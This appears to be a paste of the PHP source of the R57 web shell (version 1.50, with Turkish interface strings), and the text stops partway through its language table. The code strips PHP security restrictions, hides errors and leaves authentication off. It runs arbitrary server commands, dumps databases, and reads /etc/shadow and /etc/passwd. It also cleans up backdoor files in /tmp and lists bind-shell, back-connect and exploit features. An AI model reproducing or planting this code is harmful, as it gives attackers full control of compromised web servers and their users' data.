· 8 years ago · Sep 25, 2017, 11:34 AM
1<?
2 error_reporting(0);
3$language='tr';
4$auth = 0;
5@ini_restore("safe_mode");
6@ini_restore("open_basedir");
7@ini_restore("safe_mode_include_dir");
8@ini_restore("safe_mode_exec_dir");
9@ini_restore("disable_functions");
10@ini_restore("allow_url_fopen");
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13
14;echo '';
15if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}else{$open_basedir=0;};
16define("starttime",@getmicrotime());
17set_magic_quotes_runtime(0);
18@set_time_limit(0);
19@ini_set('max_execution_time',0);
20@ini_set('output_buffering',0);
21$safe_mode = @ini_get('safe_mode');
22$version = '1.50<br/><br/><br/><br/>';
23if(@version_compare(@phpversion(),'4.1.0') == -1)
24{
25$_POST = &$HTTP_POST_VARS;
26$_GET = &$HTTP_GET_VARS;
27$_SERVER = &$HTTP_SERVER_VARS;
28$_COOKIE = &$HTTP_COOKIE_VARS;
29}
30if (@get_magic_quotes_gpc())
31{
32foreach ($_POST as $k=>$v)
33{
34$_POST[$k] = stripslashes($v);
35}
36foreach ($_COOKIE as $k=>$v)
37{
38$_COOKIE[$k] = stripslashes($v);
39}
40}
41if($auth == 1) {
42if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass)
43{
44header('WWW-Authenticate: Basic realm=""');
45header('HTTP/1.0 401 Unauthorized');
46exit("<b>Access Denied</b>");
47}
48}
49$head = '
50<html>
51<head>
52<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
53<title>R57 DCVI Shell Version 1.50</title>
54<STYLE>
55
56tr {
57
58BORDER-RIGHT: black 1px solid;
59
60BORDER-TOP: black 1px solid;
61
62BORDER-LEFT: black 1px solid;
63
64BORDER-BOTTOM: black 1px solid;
65
66BORDER-COLOR: black;
67
68color: silver;
69
70}
71
72td {
73
74BORDER-RIGHT: black 1px solid;
75
76BORDER-TOP: black 1px solid;
77
78BORDER-LEFT: black 1px solid;
79
80BORDER-BOTTOM: black 1px solid;
81
82BORDER-COLOR: black;
83
84background-color:black;
85
86color: white;
87
88}
89
90
91
92.table1 {
93
94BORDER: 0px;
95
96BORDER-COLOR: #333333;
97
98BACKGROUND-COLOR: black;
99
100color: white;
101
102}
103
104.td1 {
105
106BORDER: 0px;
107
108BORDER-COLOR: #333333;
109
110font: 7pt Verdana;
111
112BACKGROUND-COLOR: black;
113
114color: green;
115
116}
117
118.tr1 {
119
120BORDER: 0px;
121
122BORDER-COLOR: #333333;
123
124color: #50AA20;
125
126}
127
128table {
129
130BORDER: #eeeeee 1px outset;
131
132BORDER-COLOR: #333333;
133
134BACKGROUND-COLOR: #131313;
135
136color: #50AA20;
137
138}
139
140input {
141
142border : solid 1px;
143
144border-color : #2D2D2D #252525 #252525 #252525;
145
146BACKGROUND-COLOR: black;
147
148font: 8pt Verdana;
149
150color: red;
151
152}
153
154select {
155
156BORDER-RIGHT: #ffffff 1px solid;
157
158BORDER-TOP: #999999 1px solid;
159
160BORDER-LEFT: #999999 1px solid;
161
162BORDER-BOTTOM: #ffffff 1px solid;
163
164BORDER-COLOR: #333333;
165
166BACKGROUND-COLOR: #131313;
167
168font: 8pt Verdana;
169
170color: white;;
171
172}
173
174submit {
175
176BORDER: buttonhighlight 2px outset;
177
178BACKGROUND-COLOR: #131313;
179
180width: 30%;
181
182color: white;
183
184}
185
186textarea {
187
188BORDER-RIGHT: #ffffff 1px solid;
189
190BORDER-TOP: #999999 1px solid;
191
192BORDER-LEFT: #999999 1px solid;
193
194BORDER-BOTTOM: #ffffff 1px solid;
195
196BORDER-COLOR: #333333;
197
198BACKGROUND-COLOR: black;
199
200font: Fixedsys bold;
201
202color: silver;
203
204}
205
206BODY {
207
208SCROLLBAR-ARROW-COLOR: #444444;
209
210SCROLLBAR-BASE-COLOR: #444444;
211
212margin: 1px;
213
214color: #50AA20;
215
216background-color: #131313;
217
218}
219
220.main {
221
222margin : -287px 0px 0px -490px;
223
224border : #000000 solid 1px;
225
226BORDER-COLOR: #333333;
227
228}
229
230.tt {
231
232background-color: black;
233
234}
235
236A:link {COLOR:red; TEXT-DECORATION: none}
237
238A:visited { COLOR:red; TEXT-DECORATION: none}
239
240A:active {COLOR:red; TEXT-DECORATION: none}
241
242A:hover {color:blue;TEXT-DECORATION: none}
243
244</STYLE>
245
246<script language=\'javascript\'>
247function hide_div(id)
248{
249 document.getElementById(id).style.display = \'none\';
250 document.cookie=id+\'=0;\';
251}
252function show_div(id)
253{
254 document.getElementById(id).style.display = \'block\';
255 document.cookie=id+\'=1;\';
256}
257function change_divst(id)
258{
259 if (document.getElementById(id).style.display == \'none\')
260 show_div(id);
261 else
262 hide_div(id);
263}
264
265
266</script>';
267class zipfile
268{
269var $datasec = array();
270var $ctrl_dir = array();
271var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
272var $old_offset = 0;
273function unix2DosTime($unixtime = 0) {
274$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
275if ($timearray['year'] <1980) {
276$timearray['year'] = 1980;
277$timearray['mon'] = 1;
278$timearray['mday'] = 1;
279$timearray['hours'] = 0;
280$timearray['minutes'] = 0;
281$timearray['seconds'] = 0;
282}
283return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |
284($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
285}
286function addFile($data,$name,$time = 0)
287{
288$name = str_replace('\\','/',$name);
289$dtime = dechex($this->unix2DosTime($time));
290$hexdtime = '\x'.$dtime[6] .$dtime[7]
291.'\x'.$dtime[4] .$dtime[5]
292.'\x'.$dtime[2] .$dtime[3]
293.'\x'.$dtime[0] .$dtime[1];
294eval('$hexdtime = "'.$hexdtime .'";');
295$fr = "\x50\x4b\x03\x04";
296$fr .= "\x14\x00";
297$fr .= "\x00\x00";
298$fr .= "\x08\x00";
299$fr .= $hexdtime;
300$unc_len = strlen($data);
301$crc = crc32($data);
302$zdata = gzcompress($data);
303$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
304$c_len = strlen($zdata);
305$fr .= pack('V',$crc);
306$fr .= pack('V',$c_len);
307$fr .= pack('V',$unc_len);
308$fr .= pack('v',strlen($name));
309$fr .= pack('v',0);
310$fr .= $name;
311$fr .= $zdata;
312$this ->datasec[] = $fr;
313$cdrec = "\x50\x4b\x01\x02";
314$cdrec .= "\x00\x00";
315$cdrec .= "\x14\x00";
316$cdrec .= "\x00\x00";
317$cdrec .= "\x08\x00";
318$cdrec .= $hexdtime;
319$cdrec .= pack('V',$crc);
320$cdrec .= pack('V',$c_len);
321$cdrec .= pack('V',$unc_len);
322$cdrec .= pack('v',strlen($name) );
323$cdrec .= pack('v',0 );
324$cdrec .= pack('v',0 );
325$cdrec .= pack('v',0 );
326$cdrec .= pack('v',0 );
327$cdrec .= pack('V',32 );
328$cdrec .= pack('V',$this ->old_offset );
329$this ->old_offset += strlen($fr);
330$cdrec .= $name;
331$this ->ctrl_dir[] = $cdrec;
332}
333function file()
334{
335$data = implode('',$this ->datasec);
336$ctrldir = implode('',$this ->ctrl_dir);
337return
338$data .
339$ctrldir .
340$this ->eof_ctrl_dir .
341pack('v',sizeof($this ->ctrl_dir)) .
342pack('v',sizeof($this ->ctrl_dir)) .
343pack('V',strlen($ctrldir)) .
344pack('V',strlen($data)) .
345"\x00\x00";
346}
347}
348function compress(&$filename,&$filedump,$compress)
349{
350global $content_encoding;
351global $mime_type;
352if ($compress == 'bzip'&&@function_exists('bzcompress'))
353{
354$filename .= '.bz2';
355$mime_type = 'application/x-bzip2';
356$filedump = bzcompress($filedump);
357}
358else if ($compress == 'gzip'&&@function_exists('gzencode'))
359{
360$filename .= '.gz';
361$content_encoding = 'x-gzip';
362$mime_type = 'application/x-gzip';
363$filedump = gzencode($filedump);
364}
365else if ($compress == 'zip'&&@function_exists('gzcompress'))
366{
367$filename .= '.zip';
368$mime_type = 'application/zip';
369$zipfile = new zipfile();
370$zipfile ->addFile($filedump,substr($filename,0,-4));
371$filedump = $zipfile ->file();
372}
373else
374{
375$mime_type = 'application/octet-stream';
376}
377}
378function moreread($temp){
379global $lang,$language;
380$str='';
381if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
382$ffile = @fopen($temp,"r");
383while(!@feof($ffile)){$str .= @fgets($ffile);}
384fclose($ffile);
385}elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
386$ffile = @fopen($temp,"r");
387$str = @fread($ffile,@filesize($temp));
388@fclose($ffile);
389}elseif(@function_exists('file')){
390$ffiles = @file ($temp);
391foreach ($ffiles as $ffile) {$str .= $ffile;}
392}elseif(@function_exists('file_get_contents')){
393$str = @file_get_contents($temp);
394}elseif(@function_exists('readfile')){
395$str = @readfile($temp);
396}else{echo $lang[$language.'_text56'];}
397return $str;
398}
399function readzlib($filename,$temp=''){
400global $lang,$language;
401$str='';
402if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");};
403if(@copy("compress.zlib://".$filename,$temp)) {
404$str = moreread($temp);
405}else echo $lang[$language.'_text119'];
406@unlink($temp);
407return $str;
408}
409function mailattach($to,$from,$subj,$attach)
410{
411$headers = "From: $from\r\n";
412$headers .= "MIME-Version: 1.0\r\n";
413$headers .= "Content-Type: ".$attach['type'];
414$headers .= "; name=\"".$attach['name']."\"\r\n";
415$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
416$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
417if(mail($to,$subj,"",$headers)) {return 1;}
418return 0;
419}
420class my_sql
421{
422var $host = 'localhost';
423var $port = '';
424var $user = '';
425var $pass = '';
426var $base = '';
427var $db = '';
428var $connection;
429var $res;
430var $error;
431var $rows;
432var $columns;
433var $num_rows;
434var $num_fields;
435var $dump;
436function connect()
437{
438switch($this->db)
439{
440case 'MySQL':
441if(empty($this->port)) {$this->port = '3306';}
442if(!@function_exists('mysql_connect')) return 0;
443$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
444if(is_resource($this->connection)) return 1;
445break;
446case 'MSSQL':
447if(empty($this->port)) {$this->port = '1433';}
448if(!@function_exists('mssql_connect')) return 0;
449$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
450if($this->connection) return 1;
451break;
452case 'PostgreSQL':
453if(empty($this->port)) {$this->port = '5432';}
454$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
455if(!@function_exists('pg_connect')) return 0;
456$this->connection = @pg_connect($str);
457if(is_resource($this->connection)) return 1;
458break;
459case 'Oracle':
460if(!@function_exists('ocilogon')) return 0;
461$this->connection = @ocilogon($this->user,$this->pass,$this->base);
462if(is_resource($this->connection)) return 1;
463break;
464}
465return 0;
466}
467function select_db()
468{
469switch($this->db)
470{
471case 'MySQL':
472if(@mysql_select_db($this->base,$this->connection)) return 1;
473break;
474case 'MSSQL':
475if(@mssql_select_db($this->base,$this->connection)) return 1;
476break;
477case 'PostgreSQL':
478return 1;
479break;
480case 'Oracle':
481return 1;
482break;
483}
484return 0;
485}
486function query($query)
487{
488$this->res=$this->error='';
489switch($this->db)
490{
491case 'MySQL':
492if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
493{
494$this->error = @mysql_error($this->connection);
495return 0;
496}
497else if(is_resource($this->res)) {return 1;}
498return 2;
499break;
500case 'MSSQL':
501if(false===($this->res=@mssql_query($query,$this->connection)))
502{
503$this->error = 'Query error';
504return 0;
505}
506else if(@mssql_num_rows($this->res) >0) {return 1;}
507return 2;
508break;
509case 'PostgreSQL':
510if(false===($this->res=@pg_query($this->connection,$query)))
511{
512$this->error = @pg_last_error($this->connection);
513return 0;
514}
515else if(@pg_num_rows($this->res) >0) {return 1;}
516return 2;
517break;
518case 'Oracle':
519if(false===($this->res=@ociparse($this->connection,$query)))
520{
521$this->error = 'Query parse error';
522}
523else
524{
525if(@ociexecute($this->res))
526{
527if(@ocirowcount($this->res) != 0) return 2;
528return 1;
529}
530$error = @ocierror();
531$this->error=$error['message'];
532}
533break;
534}
535return 0;
536}
537function get_result()
538{
539$this->rows=array();
540$this->columns=array();
541$this->num_rows=$this->num_fields=0;
542switch($this->db)
543{
544case 'MySQL':
545$this->num_rows=@mysql_num_rows($this->res);
546$this->num_fields=@mysql_num_fields($this->res);
547while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
548@mysql_free_result($this->res);
549if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
550break;
551case 'MSSQL':
552$this->num_rows=@mssql_num_rows($this->res);
553$this->num_fields=@mssql_num_fields($this->res);
554while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
555@mssql_free_result($this->res);
556if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;};
557break;
558case 'PostgreSQL':
559$this->num_rows=@pg_num_rows($this->res);
560$this->num_fields=@pg_num_fields($this->res);
561while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
562@pg_free_result($this->res);
563if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
564break;
565case 'Oracle':
566$this->num_fields=@ocinumcols($this->res);
567while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
568@ocifreestatement($this->res);
569if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
570break;
571}
572return 0;
573}
574function dump($table)
575{
576if(empty($table)) return 0;
577$this->dump=array();
578$this->dump[0] = '##';
579$this->dump[1] = '## --------------------------------------- ';
580$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
581$this->dump[3] = '## Database: '.$this->base;
582$this->dump[4] = '## Table: '.$table;
583$this->dump[5] = '## --------------------------------------- ';
584switch($this->db)
585{
586case 'MySQL':
587$this->dump[0] = '## MySQL dump';
588if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
589if(!$this->get_result()) return 0;
590$this->dump[] = $this->rows[0]['Create Table'];
591$this->dump[] = '## --------------------------------------- ';
592if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
593if(!$this->get_result()) return 0;
594for($i=0;$i<$this->num_rows;$i++)
595{
596foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
597$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
598}
599break;
600case 'MSSQL':
601$this->dump[0] = '## MSSQL dump';
602if($this->query('SELECT * FROM '.$table)!=1) return 0;
603if(!$this->get_result()) return 0;
604for($i=0;$i<$this->num_rows;$i++)
605{
606foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
607$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
608}
609break;
610case 'PostgreSQL':
611$this->dump[0] = '## PostgreSQL dump';
612if($this->query('SELECT * FROM '.$table)!=1) return 0;
613if(!$this->get_result()) return 0;
614for($i=0;$i<$this->num_rows;$i++)
615{
616foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
617$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
618}
619break;
620case 'Oracle':
621$this->dump[0] = '## ORACLE dump';
622$this->dump[] = '## under construction';
623break;
624default:
625return 0;
626break;
627}
628return 1;
629}
630function close()
631{
632switch($this->db)
633{
634case 'MySQL':
635@mysql_close($this->connection);
636break;
637case 'MSSQL':
638@mssql_close($this->connection);
639break;
640case 'PostgreSQL':
641@pg_close($this->connection);
642break;
643case 'Oracle':
644@oci_close($this->connection);
645break;
646}
647}
648function affected_rows()
649{
650switch($this->db)
651{
652case 'MySQL':
653return @mysql_affected_rows($this->res);
654break;
655case 'MSSQL':
656return @mssql_affected_rows($this->res);
657break;
658case 'PostgreSQL':
659return @pg_affected_rows($this->res);
660break;
661case 'Oracle':
662return @ocirowcount($this->res);
663break;
664default:
665return 0;
666break;
667}
668}
669}
670if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name']))
671{
672if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));@fclose($file);}
673else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;}else {err(1,$_POST['d_name']);$_POST['cmd']="";}
674if(isset($_POST['cmd']))
675{
676@ob_clean();
677$filename = @basename($_POST['d_name']);
678$content_encoding=$mime_type='';
679compress($filename,$filedump,$_POST['compress']);
680if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);}
681header("Content-type: ".$mime_type);
682header("Content-disposition: attachment; filename=\"".$filename."\";");
683echo $filedump;
684exit();
685}
686}
687if(isset($_GET['phpinfo'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}
688if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query")
689{
690echo $head;
691$sql = new my_sql();
692$sql->db = $_POST['db'];
693$sql->host = $_POST['db_server'];
694$sql->port = $_POST['db_port'];
695$sql->user = $_POST['mysql_l'];
696$sql->pass = $_POST['mysql_p'];
697$sql->base = $_POST['mysql_db'];
698$querys = @explode(';',$_POST['db_query']);
699echo '<body bgcolor=#000000>';
700if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
701else
702{
703if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
704else
705{
706foreach($querys as $num=>$query)
707{
708if(strlen($query)>5)
709{
710echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
711switch($sql->query($query))
712{
713case '0':
714echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
715break;
716case '1':
717if($sql->get_result())
718{
719echo "<table width=100%>";
720foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
721$keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ",$sql->columns);
722echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
723for($i=0;$i<$sql->num_rows;$i++)
724{
725foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
726$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
727echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
728}
729echo "</table>";
730}
731break;
732case '2':
733$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
734echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
735break;
736}
737}
738}
739}
740}
741echo "<br><form name=form method=POST>";
742echo in('hidden','db',0,$_POST['db']);
743echo in('hidden','db_server',0,$_POST['db_server']);
744echo in('hidden','db_port',0,$_POST['db_port']);
745echo in('hidden','mysql_l',0,$_POST['mysql_l']);
746echo in('hidden','mysql_p',0,$_POST['mysql_p']);
747echo in('hidden','mysql_db',0,$_POST['mysql_db']);
748echo in('hidden','cmd',0,'db_query');
749echo "<div align=center>";
750echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
751echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
752echo "</form>";
753echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
754}
755if(isset($_GET['delete']))
756{
757@unlink(__FILE__);
758}
759if(isset($_GET['tmp']))
760{
761@unlink("/tmp/bdpl");
762@unlink("/tmp/back");
763@unlink("/tmp/bd");
764@unlink("/tmp/bd.c");
765@unlink("/tmp/dp");
766@unlink("/tmp/dpc");
767@unlink("/tmp/dpc.c");
768@unlink("/tmp/prxpl");
769@unlink("/tmp/grep.txt");
770}
771if(isset($_GET['phpini']))
772{
773echo $head;
774function U_value($value)
775{
776if ($value == '') return '<i>no value</i>';
777if (@is_bool($value)) return $value ?'TRUE': 'FALSE';
778if ($value === null) return 'NULL';
779if (@is_object($value)) $value = (array) $value;
780if (@is_array($value))
781{
782@ob_start();
783print_r($value);
784$value = @ob_get_contents();
785@ob_end_clean();
786}
787return U_wordwrap((string) $value);
788}
789function U_wordwrap($str)
790{
791$str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true);
792return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str);
793}
794if (@function_exists('ini_get_all'))
795{
796$r = '';
797echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
798foreach (@ini_get_all() as $key=>$value)
799{
800$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
801}
802echo $r;
803echo '</table>';
804}
805echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
806die();
807}
808if(isset($_GET['cpu']))
809{
810echo $head;
811echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
812$cpuf = @file("cpuinfo");
813if($cpuf)
814{
815$c = @sizeof($cpuf);
816for($i=0;$i<$c;$i++)
817{
818$info = @explode(":",$cpuf[$i]);
819if($info[1]==""){$info[1]="---";}
820$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
821}
822echo $r;
823}
824else
825{
826echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
827}
828echo '</table>';
829echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
830die();
831}
832if(isset($_GET['mem']))
833{
834echo $head;
835echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
836$memf = @file("meminfo");
837if($memf)
838{
839$c = sizeof($memf);
840for($i=0;$i<$c;$i++)
841{
842$info = explode(":",$memf[$i]);
843if($info[1]==""){$info[1]="---";}
844$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
845}
846echo $r;
847}
848else
849{
850echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
851}
852echo '</table>';
853echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>";
854die();
855}
856if(isset($_GET['dmesg(8)']))
857{$_POST['cmd'] = 'dmesg(8)';}
858if(isset($_GET['free']))
859{$_POST['cmd'] = 'free';}
860if(isset($_GET['vmstat']))
861{$_POST['cmd'] = 'vmstat';}
862if(isset($_GET['lspci']))
863{$_POST['cmd'] = 'lspci';}
864if(isset($_GET['lsdev']))
865{$_POST['cmd'] = 'lsdev';}
866if(isset($_GET['procinfo']))
867{$_POST['cmd']='cat /proc/cpuinfo';}
868if(isset($_GET['version']))
869{$_POST['cmd']='cat /proc/version';}
870if(isset($_GET['interrupts']))
871{$_POST['cmd']='cat /proc/interrupts';}
872if(isset($_GET['realise1']))
873{$_POST['cmd'] = 'cat /etc/*realise';}
874if(isset($_GET['service']))
875{$_POST['cmd'] = 'service --status-all';}
876if(isset($_GET['ifconfig']))
877{$_POST['cmd'] = 'ifconfig';}
878if(isset($_GET['w']))
879{$_POST['cmd'] = 'w';}
880if(isset($_GET['who']))
881{$_POST['cmd'] = 'who';}
882if(isset($_GET['uptime']))
883{$_POST['cmd'] = 'uptime';}
884if(isset($_GET['last']))
885{$_POST['cmd'] = 'last -n 10';}
886if(isset($_GET['psaux']))
887{$_POST['cmd'] = 'ps -aux';}
888if(isset($_GET['netstat']))
889{$_POST['cmd'] = 'netstat -a';}
890if(isset($_GET['lsattr']))
891{$_POST['cmd'] = 'lsattr -va';}
892if(isset($_GET['syslog']))
893{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
894if(isset($_GET['fstab']))
895{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
896if(isset($_GET['fdisk']))
897{$_POST['cmd'] = 'fdisk -l';}
898if(isset($_GET['df']))
899{$_POST['cmd'] = 'df -h';}
900if(isset($_GET['realise2']))
901{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
902if(isset($_GET['hosts']))
903{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
904if(isset($_GET['resolv']))
905{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
906if(isset($_GET['systeminfo']))
907{$_POST['cmd'] = 'systeminfo';}
908if(isset($_GET['shadow']))
909{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
910if(isset($_GET['passwd']))
911{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
912$lang=array(
913'tr_text1'=>'Komut Uygula',
914'tr_text2'=>'Server uzerinde komut calistir ',
915'tr_text3'=>'Komut istemi ',
916'tr_text4'=>'Calisma Dizini ',
917'tr_text5'=>'Servere Dosya Upload Et',
918'tr_text6'=>'Yerel Dosya ',
919'tr_text7'=>'Dizin Veya Dosya Bul ',
920'tr_text8'=>'Sec',
921'tr_butt1'=>'Uygula',
922'tr_butt2'=>'Yukle',
923'tr_text9'=>'Porta baglan /bin/bash',
924'tr_text10'=>'Port',
925'tr_text11'=>'Sifre Giris',
926'tr_butt3'=>'Baglan',
927'tr_text12'=>'Back-Connect',
928'tr_text13'=>'IP',
929'tr_text14'=>'Port',
930'tr_butt4'=>'Baglan',
931'tr_text15'=>'Uzaktan servere dosya yukle',
932'tr_text16'=>'ile',
933'tr_text17'=>'Uzak Dosya',
934'tr_text18'=>'Yerel Dosya',
935'tr_text19'=>'Exploits',
936'tr_text20'=>'Kullan',
937'tr_text21'=>' Yeni ad',
938'tr_text22'=>'datapipe',
939'tr_text23'=>'Yerel Port',
940'tr_text24'=>'Uzak Host',
941'tr_text25'=>'Uzak Port',
942'tr_text26'=>'Kullan',
943'tr_butt5'=>'Iste',
944'tr_text28'=>'Guvenlik Modunda Calis',
945'tr_text29'=>'Giris Yok ',
946'tr_butt6'=>'Degistir',
947'tr_text30'=>'Cat file',
948'tr_butt7'=>'Goster',
949'tr_text31'=>'Dosya Bulunamadi',
950'tr_text32'=>'PHP Kod Degerlendir ',
951'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
952'tr_butt8'=>'Testet',
953'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.',
954'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.',
955'tr_text36'=>'Database[VeriTabani]',
956'tr_text37'=>'Kullanici',
957'tr_text38'=>'Sifre',
958'tr_text39'=>'Tablo',
959'tr_text40'=>'Dump database table[DB Tablosu dok]',
960'tr_butt9'=>'Dump',
961'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]',
962'tr_text42'=>'Dosya Duzenle ',
963'tr_text43'=>'Dosya Duzenlemek icin',
964'tr_butt10'=>'Kaydet',
965'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor',
966'tr_text45'=>'Dosya Kaydedildi',
967'tr_text46'=>'PHP info Goster()',
968'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster',
969'tr_text48'=>'Temp dosylarini sil',
970'tr_butt11'=>'Dosya Duzenle',
971'tr_text49'=>'Server dan bu scripti sil',
972'tr_text50'=>'CPU bilgisini incele',
973'tr_text51'=>'Memory[hafiza] bilgisini incele]',
974'tr_text52'=>'Metni Bul ',
975'tr_text53'=>'Klasor Bul',
976'tr_text54'=>'Dosyalarda ki Metni Bul',
977'tr_butt12'=>'Bul',
978'tr_text55'=>'Dosya Bul ',
979'tr_text56'=>'Bulunmadi :( KeyCoder :)',
980'tr_text57'=>'Olustur/Sil Dosya/Dizin ',
981'tr_text58'=>'isim',
982'tr_text59'=>'Dosya',
983'tr_text60'=>'Dizin',
984'tr_butt13'=>'Olustur/Sil',
985'tr_text61'=>'Dosya Olustur',
986'tr_text62'=>'Dizin Olustur',
987'tr_text63'=>'Dosya Sil',
